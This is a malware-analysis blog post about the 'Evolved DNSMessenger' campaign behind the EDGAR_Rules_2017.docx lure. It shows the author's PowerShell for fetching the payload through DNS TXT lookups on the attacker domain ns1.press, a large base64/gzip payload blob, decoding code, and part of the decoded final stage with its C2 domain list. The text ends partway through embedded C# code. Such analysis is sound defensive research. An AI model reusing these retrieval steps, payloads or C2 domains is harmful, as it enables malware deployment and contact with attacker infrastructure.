More info on “Evolved DNSMessenger”

I read the recent blog post from Talos Intelligence. Great write up, but noticed they mentioned they were unable to get the final stage of the payload. I had also analyzed the “EDGAR_Rules_2017.docx” document yesterday, and happened to get the final payload.

So picking up where they left off –

As they described, the stager powershell code uses DNS A records and TXT records to pull down the next payload. After some testing with the malicious powershell code, I ran into similar issues as Talos likely did and couldn’t get the next payload. Eventually I determined the A records were unnecessary, so wrote up my own quick powershell to pull down all the TXT records (turned out to be 44 TXT requests):

$complete = "";
$count = 0;
while($count -lt 44)
{
  $lookup_domain = "AAAAAAAAAA.stage.$count.ns1.press";
  $nslookup_result = nslookup -type=txt $lookup_domain 2>&1;
  #Write-Host($nslookup_result);
  $regex = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA=='))); #("[^\s]*"\s*)+
  $regex_txt_result = $regex.Matches($nslookup_result);
  #Write-Host($regex_txt_result);
  $value = ($regex.Matches($nslookup_result) | Select -ExpandProperty Value) -join '' -replace '"' -replace '`n' -replace ' ';
  Write-Host($value);
  $complete += $value;
  Write-Host("Current stage: " + $count);
  Write-Host("Payload: " + $complete);
  sleep -s 1;
  $count++;
}

This resulted in a final payload of:

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

Next I used the same powershell code to decode the base64, then decompress and print the result:

$data=[System.Convert]::FromBase64String('{PLACE BASE64 HERE}');

$ms=New-Object System.IO.MemoryStream;
$ms.Write($data,0,$data.Length);
$ms.Seek(0,0)|Out-Null;
$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);
$sr=New-Object System.IO.StreamReader($cs);
Write-Output("Output2:")
Write-Output($sr.readtoend())

Final payload:

# This section should be ommited as it is present in Stager
# =============================================================================
$domains = @("ns0.pw","ns0.site","ns0.space","ns0.website","ns1.press","ns1.website","ns2.press","ns3.site","ns3.space","ns4.site","ns4.space","ns5.biz","ns5.online","ns5.pw")
$retryCount = 10
$retryCountDoDns = 10

$biginteger = @"
using System;using System.Runtime.Serialization;using System.Runtime.Serialization.Formatters;using System.Security.Permissions;using System.Text;using System.Collections.Generic;namespace X{enum Sign{Positive,Negative};[Serializable]
public sealed class BigIntegerException:Exception
{public BigIntegerException(string message,Exception innerException):base(message,innerException)
{}}
[Serializable]
public sealed class BigInteger:ISerializable,IEquatable,IComparable,IComparable{private const long NumberBase=65536;internal const int MaxSize=2*640;private const int RatioToBinaryDigits=16;private static readonly BigInteger Zero=new B
igInteger();private static readonly BigInteger One=new BigInteger(1);private static readonly BigInteger Two=new BigInteger(2);private static readonly BigInteger Ten=new BigInteger(10);private long[]digits;private int size;private Sign sign;public BigInteger()
{digits=new long[MaxSize];size=1;digits[size]=0;sign=Sign.Positive;}
public BigInteger(long n)
{digits=new long[MaxSize];sign=Sign.Positive;if(n==0)
{size=1;digits[size]=0;}
else
{if(n<0)
{n=-n;sign=Sign.Negative;}
size=0;while(n>0)
{digits[size]=n%NumberBase;n/=NumberBase;size++;}}}
public BigInteger(BigInteger n)
{digits=new long[MaxSize];size=n.size;sign=n.sign;for(int i=0;i'9'))
{if((i==0)&&(numberString[i]=='-'))
numberSign=Sign.Negative;else
throw new BigIntegerException("Invalid numeric string.",null);}
else
number=number*Ten+long.Parse(numberString[i].ToString());}
sign=numberSign;digits=new long[MaxSize];size=number.size;for(i=0;iMaxSize)
throw new BigIntegerException("The byte array's content exceeds the maximum size of a BigInteger.",null);digits=new long[MaxSize];sign=Sign.Positive;for(int i=0;i0)&&(reducible==true))
{if(digits[size-1]==0)
size--;else reducible=false;}}
private BigInteger(SerializationInfo info,StreamingContext context)
{bool signValue=(bool)info.GetValue("sign",typeof(bool));if(signValue==true)
sign=Sign.Positive;else
sign=Sign.Negative;size=(int)info.GetValue("size",typeof(short));digits=new long[MaxSize];int i;for(i=0;ib.size)
return true;if(a.size=0;i--)
if(a.digits[i]>b.digits[i])
return true;else if(a.digits[i]b.size)
return false;for(int i=(a.size)-1;i>=0;i--)
if(a.digits[i]b.digits[i])
return false;}}
return false;}
public static bool GreaterOrEqual(BigInteger a,BigInteger b)
{return Greater(a,b)||Equals(a,b);}
public static bool Smaller(BigInteger a,BigInteger b)
{return!GreaterOrEqual(a,b);}
public static bool SmallerOrEqual(BigInteger a,BigInteger b)
{return!Greater(a,b);}
public static BigInteger Abs(BigInteger n)
{BigInteger res=new BigInteger(n);res.sign=Sign.Positive;return res;}
public static BigInteger Addition(BigInteger a,BigInteger b)
{BigInteger res=null;if((a.sign==Sign.Positive)&&(b.sign==Sign.Positive))
{if(a>=b)
res=Add(a,b);else
res=Add(b,a);res.sign=Sign.Positive;}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Negative))
{if(a<=b)
res=Add(-a,-b);else
res=Add(-b,-a);res.sign=Sign.Negative;}
if((a.sign==Sign.Positive)&&(b.sign==Sign.Negative))
{if(a>=(-b))
{res=Subtract(a,-b);res.sign=Sign.Positive;}
else
{res=Subtract(-b,a);res.sign=Sign.Negative;}}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Positive))
{if((-a)<=b)
{res=Subtract(b,-a);res.sign=Sign.Positive;}
else
{res=Subtract(-a,b);res.sign=Sign.Negative;}}
return res;}
public static BigInteger Subtraction(BigInteger a,BigInteger b)
{BigInteger res=null;if((a.sign==Sign.Positive)&&(b.sign==Sign.Positive))
{if(a>=b)
{res=Subtract(a,b);res.sign=Sign.Positive;}
else
{res=Subtract(b,a);res.sign=Sign.Negative;}}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Negative))
{if(a<=b)
{res=Subtract(-a,-b);res.sign=Sign.Negative;}
else
{res=Subtract(-b,-a);res.sign=Sign.Positive;}}
if((a.sign==Sign.Positive)&&(b.sign==Sign.Negative))
{if(a>=(-b))
res=Add(a,-b);else
res=Add(-b,a);res.sign=Sign.Positive;}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Positive))
{if((-a)>=b)
res=Add(-a,b);else
res=Add(b,-a);res.sign=Sign.Negative;}
return res;}
public static BigInteger Multiplication(BigInteger a,BigInteger b)
{if((a==Zero)||(b==Zero))
return Zero;BigInteger res=Multiply(Abs(a),Abs(b));if(a.sign==b.sign)
res.sign=Sign.Positive;else
res.sign=Sign.Negative;return res;}
public static BigInteger Division(BigInteger a,BigInteger b)
{if(b==Zero)
throw new BigIntegerException("Cannot divide by zero.",new DivideByZeroException());if(a==Zero)
return Zero;if(Abs(a)(BigInteger a,BigInteger b)
{return Greater(a,b);}
public static bool operator<(BigInteger a,BigInteger b)
{return Smaller(a,b);}
public static bool operator>=(BigInteger a,BigInteger b)
{return GreaterOrEqual(a,b);}
public static bool operator<=(BigInteger a,BigInteger b)
{return SmallerOrEqual(a,b);}
public static BigInteger operator-(BigInteger n)
{return Opposite(n);}
public static BigInteger operator+(BigInteger a,BigInteger b)
{return Addition(a,b);}
public static BigInteger operator-(BigInteger a,BigInteger b)
{return Subtraction(a,b);}
public static BigInteger operator*(BigInteger a,BigInteger b)
{return Multiplication(a,b);}
public static BigInteger operator/(BigInteger a,BigInteger b)
{return Division(a,b);}
public static BigInteger operator%(BigInteger a,BigInteger b)
{return Modulo(a,b);}
public static BigInteger operator++(BigInteger n)
{BigInteger res=n+One;return res;}
public static BigInteger operator--(BigInteger n)
{BigInteger res=n-One;return res;}
private static BigInteger Add(BigInteger a,BigInteger b)
{BigInteger res=new BigInteger(a);long trans=0,temp;int i;for(i=0;i0));i++)
{temp=res.digits[i]+trans;res.digits[i]=temp%NumberBase;trans=temp/NumberBase;}
if(trans>0)
{res.digits[res.size]=trans%NumberBase;res.size++;trans/=NumberBase;}
return res;}
private static BigInteger Subtract(BigInteger a,BigInteger b)
{BigInteger res=new BigInteger(a);int i;long temp,trans=0;bool reducible=true;for(i=0;i0));i++)
{temp=res.digits[i]-trans;if(temp<0)
{trans=1;temp+=NumberBase;}
else trans=0;res.digits[i]=temp;}
while((res.size-1>0)&&(reducible==true))
{if(res.digits[res.size-1]==0)
res.size--;else reducible=false;}
return res;}
private static BigInteger Multiply(BigInteger a,BigInteger b)
{int i,j;long temp,trans=0;BigInteger res=new BigInteger();res.size=a.size+b.size-1;for(i=0;i0)
{res.digits[res.size]=trans%NumberBase;res.size++;trans/=NumberBase;}
return res;}
private static BigInteger DivideByOneDigitNumber(BigInteger a,long b)
{BigInteger res=new BigInteger();int i=a.size-1;long temp;res.size=a.size;temp=a.digits[i];while(i>=0)
{res.digits[i]=temp/b;temp%=b;i--;if(i>=0)
temp=temp*NumberBase+a.digits[i];}
if((res.digits[res.size-1]==0)&&(res.size!=1))
res.size--;return res;}
private static BigInteger DivideByBigNumber(BigInteger a,BigInteger b)
{int k,n=a.size,m=b.size;long f,qt;BigInteger d,dq,q,r;f=NumberBase/(b.digits[m-1]+1);q=new BigInteger();r=a*f;d=b*f;for(k=n-m;k>=0;k--)
{qt=Trial(r,d,k,m);dq=d*qt;if(DivideByBigNumberSmaller(r,dq,k,m))
{qt--;dq=d*qt;}
q.digits[k]=qt;Difference(r,dq,k,m);}
q.size=n-m+1;if((q.size!=1)&&(q.digits[q.size-1]==0))
q.size--;return q;}
private static bool DivideByBigNumberSmaller(BigInteger r,BigInteger dq,int k,int m)
{int i=m,j=0;while(i!=j)
